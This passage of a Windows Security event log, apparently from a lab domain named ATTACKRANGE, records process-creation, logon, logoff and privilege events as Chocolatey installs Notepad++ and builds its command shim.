	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6B916

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc30
	New Process Name:	C:\ProgramData\chocolatey\choco.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf40
	Creator Process Name:	C:\ProgramData\chocolatey\bin\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\choco.exe" list --local-only --limit-output --all-versions

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246020
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6B916

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf40
	New Process Name:	C:\ProgramData\chocolatey\bin\choco.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x660
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	C:\ProgramData\chocolatey\bin\choco.exe list --local-only --limit-output --all-versions

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246019
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6B916

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x500
	New Process Name:	C:\ProgramData\chocolatey\choco.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf68
	Creator Process Name:	C:\ProgramData\chocolatey\bin\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\choco.exe" list --local-only --limit-output --all-versions

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246018
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6B916

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf68
	New Process Name:	C:\ProgramData\chocolatey\bin\choco.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x660
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	C:\ProgramData\chocolatey\bin\choco.exe list --local-only --limit-output --all-versions

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246023
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6B916

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd84
	New Process Name:	C:\ProgramData\chocolatey\choco.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xdc0
	Creator Process Name:	C:\ProgramData\chocolatey\bin\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\choco.exe" install notepadplusplus --fail-on-unfound --yes --no-progress --limit-output --timeout 2700

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246022
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6B916

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdc0
	New Process Name:	C:\ProgramData\chocolatey\bin\choco.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x660
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	C:\ProgramData\chocolatey\bin\choco.exe install notepadplusplus --fail-on-unfound --yes --no-progress --limit-output --timeout 2700

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246025
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6B916

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xebc
	New Process Name:	C:\Windows\SysWOW64\regsvr32.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xed8
	Creator Process Name:	C:\ProgramData\chocolatey\lib\notepadplusplus.install\tools\npp.7.9.3.Installer.x64.exe
	Process Command Line:	regsvr32 /s "C:\Program Files\Notepad++\NppShell_06.dll"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246024
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6B916

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xed8
	New Process Name:	C:\ProgramData\chocolatey\lib\notepadplusplus.install\tools\npp.7.9.3.Installer.x64.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd84
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\lib\notepadplusplus.install\tools\npp.7.9.3.Installer.x64.exe" /S 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246032
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6B916

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd1c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc8c
	Creator Process Name:	C:\Windows\System32\shutdown.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246031
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6B916

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc8c
	New Process Name:	C:\Windows\System32\shutdown.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd84
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\Windows\System32\shutdown.exe" /a

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246030
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6B916

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa38
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf6c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESF7FC.tmp" "c:\ProgramData\chocolatey\bin\CSC91C3E8FA14EC4D32BB582F3B81B5E932.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246029
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6B916

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfb0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf6c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246028
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6B916

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf6c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf10
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\notepad++.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123315_3190\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123315_3190\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123315_3190\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123315_3190\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123315_3190\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246027
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6B916

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf10
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd84
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" -o "C:\ProgramData\chocolatey\bin\notepad++.exe" -p "c:\program files\notepad++\notepad++.exe" -i "C:\Program Files\Notepad++\notepad++.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:09 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246026
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6B916

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf0c
	New Process Name:	C:\Windows\System32\regsvr32.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xebc
	Creator Process Name:	C:\Windows\SysWOW64\regsvr32.exe
	Process Command Line:	 /s "C:\Program Files\Notepad++\NppShell_06.dll"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=246049
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72E99

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:40:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=246048
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6B916

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:40:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=246047
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x6BC2C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:40:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=246046
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72E99

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:40:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246045
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72E99
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:40:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246044
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:40:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=246043
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:40:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=246042
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72E68

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:40:10 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=246041
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72E68

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:40:10 PM
LogName=Security
